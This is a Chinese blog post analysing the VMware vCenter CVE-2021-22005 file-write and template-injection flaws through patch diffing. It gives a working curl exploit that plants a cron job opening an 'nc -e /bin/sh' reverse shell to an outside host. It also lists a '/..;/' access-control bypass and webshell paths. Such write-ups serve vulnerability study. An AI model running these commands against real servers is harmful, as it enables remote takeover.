VMware vCenter漏洞分析(二)
2021-10-09 00:35:58 Author: hosch3n.github.io(查看原文) 阅读量:109 收藏

文章目录

CVE-2021-22005

Analytics服务相关端点存在目录穿越写文件,可将

影响版本:

  • 7.0 <= vCenter Server < 7.0 U2c
  • 6.7 <= vCenter Server < 6.7 U3o

利用链1:curl -k -X POST 'https://1.1.1.1/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/syslog' -d '* * * * * root nc -e /bin/sh 2.2.2.2 1337' -H 'Content-Type: application/json'

利用链2:asdklajsdlkajsdlkajsdakjsdhalskdasdioasiodaklsd.py

AsyncTelemetryController漏洞分析

vCenter在9月更新修复了一堆漏洞,由官方发布的CVE-2021-22005缓解措施可以知道漏洞所在服务与Web路径:

对应路径的rhttpproxy策略在vCenter各版本中也不尽相同:

下载漏洞修复前后的两个补丁(VMware-vCenter-Server-Appliance-6.7.0.48000-18010531-patch-FP.iso、VMware-vCenter-Server-Appliance-6.7.0.50000-18485166-patch-FP.iso)并解压VMware-analytics的rpm包,反编译对比相关jar包:

/ph/api/hyper/send路径的_v_c_i请求参数分别绑定给versioncollectorIdcollectorInstanceId变量,随后调用存在补丁变动的handleSendRequest方法,添加了对传入变量的白名单校验。AsyncTelemetryController类的另一处补丁变动类似,在handleGetLevelRequest方法添加了白名单校验。

跟进TelemetryService接口相应的具体实现,之前组装好的TelemetryRequest对象被加入了线程池异步调用。在/etc/vmware-analytics/ph-telemetry-prod.xml找到bean相关类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<bean id="phProdTelemetryService"
class="com.vmware.ph.phservice.push.telemetry.internal.impl.AsyncTelemetryServiceWrapper"
destroy-method="close">
<constructor-arg index="0">
<bean class="com.vmware.ph.phservice.push.telemetry.TelemetryLevelBasedTelemetryServiceWrapper">
<constructor-arg index="0" ref="phProdLogTelemetryService" />
<constructor-arg index="1" ref="phProdCeipTelemetryLevelService" />
</bean>
</constructor-arg>
</bean>

<bean id="phProdLogTelemetryService" class="com.vmware.ph.phservice.push.telemetry.LogTelemetryService">
<constructor-arg index="0">
<bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetObject" ref="phLogTelemetryBaseDir" />
<property name="targetMethod" value="resolve" />
<property name="arguments" value="${ph.telemetry.logdir.prod}" />
</bean>
</constructor-arg>
<constructor-arg index="1" ref="phLog4j2Context" />
</bean>

<bean id="phProdCeipTelemetryLevelService"
class="com.vmware.ph.phservice.push.telemetry.DefaultTelemetryLevelService">
<constructor-arg index="0" ref="phCeipConfigProvider" />
<constructor-arg index="1">
<bean class="com.vmware.ph.phservice.common.internal.manifest.PropertyControlledManifestContentProviderWrapper">
<constructor-arg index="0" ref="phConfigurationService" />
<constructor-arg index="1" value="phservices.manifest_location" />
<constructor-arg index="2">
<bean class="com.vmware.ph.phservice.common.ph.PhManifestContentProvider">
<constructor-arg ref="phProdTelemetryLevelServicePhClientFactory" />
</bean>
</constructor-arg>
</bean>
</constructor-arg>
<constructor-arg index="2" value="${ph.telemetry.level.cache.expiration_interval.millis}" />
<constructor-arg index="3" value="${ph.telemetry.level.cache_size}" />
</bean>
  • 动态调试套路与之前一样,配置文件在/etc/vmware/vmware-vmon/svcCfgfiles/analytics.json,改完重启服务service-control --restart vmware-analytics

TelemetryLevelBasedTelemetryServiceWrapperprocessTelemetry方法会调用DefaultTelemetryLevelServicegetTelemetryLevel方法获取telemetryLevel

继续跟进看到需要isCeipEnabled不为默认值false才会继续流程:

随后调用LogTelemetryServiceprocessTelemetry方法,利用log4j写日志文件至/var/log/vmware/analytics/prod/目录,文件内容为POST请求体数据。

很自然地想到之前21972目录穿越写文件,不同的是此时存在json后缀名,不能直接写WebShell;也要注意到我们此时是root而非vsphere-ui用户,可以写计划任务。但是构造/../_c_i目录不存在,导致目录穿越报错:

可以先发送_i=/any,利用createManager方法的FileUtils.makeParentDirs_c_i目录创建出来,随后再由目录穿越写计划任务反弹shell。

DataAppAgentController漏洞分析

对比官方验证脚本的另一处路径对应jar包,/dataapp/agent路径的action=collect相关代码被整段移除:

跟进collect方法后经历了各种类方法跳转,将POST请求体中JSON的manifestContent参数值解析后,作为VelocityHelper.executeVelocityExpression方法的入参this._mappingCode

接着带入VelocityEngineevaluate方法作为模板语句动态执行:

  • 不同版本的Velocity方法名略有不同

最终 @testbnull 发现可以通过上下文可用的$GLOBAL-logger,利用setFile方法临时修改日志路径到Web路径的方式,写入WebShell实现RCE。

Bypass

由于Tomcat会将/..;/视作/../,可以利用该特性绕过vCenter某些版本的rhttpproxy的访问限制,也可以用来绕过某些WAF的简单规则。

  • /analytics/cloudhealth/sdk/..;/..;/ph/api/xxx

漏洞利用还有如下路径可供参考,但我没有仔细测试各个版本:

1
2
3
4
5
6
7
8
/analytics/ceip/sdk
/analytics/ceip/api/state
/analytics/healthstatus
/analytics/resourcebundle
/analytics/telemetry/ph/api/hyper/send
/analytics/telemetry/ph-stg/api/hyper/send
/analytics/telemetry/ph/api/level
/analytics/telemetry/ph-stg/api/level

/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/下的WebShell也需要利用路径穿越访问,用得最多的是/idm/..;/shell.jsp,还有如下访问路径可供参考:

1
2
3
4
5
6
7
8
9
/sso-adminserver/idp
/sso-adminserver/sdk
/sts/STSService
/websso
/lookupservice
/openidconnect
/afd
/lookup
/vmdir

参考链接

VMSA-2021-0020.1

VMware CVE-2021-22005 Technical & Impact analysis

Quick note of vCenter RCE (CVE-2021–22005)


文章来源: https://hosch3n.github.io/2021/10/08/VMware-vCenter%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88%E4%BA%8C%EF%BC%89/
如有侵权请联系:admin#unsafe.sh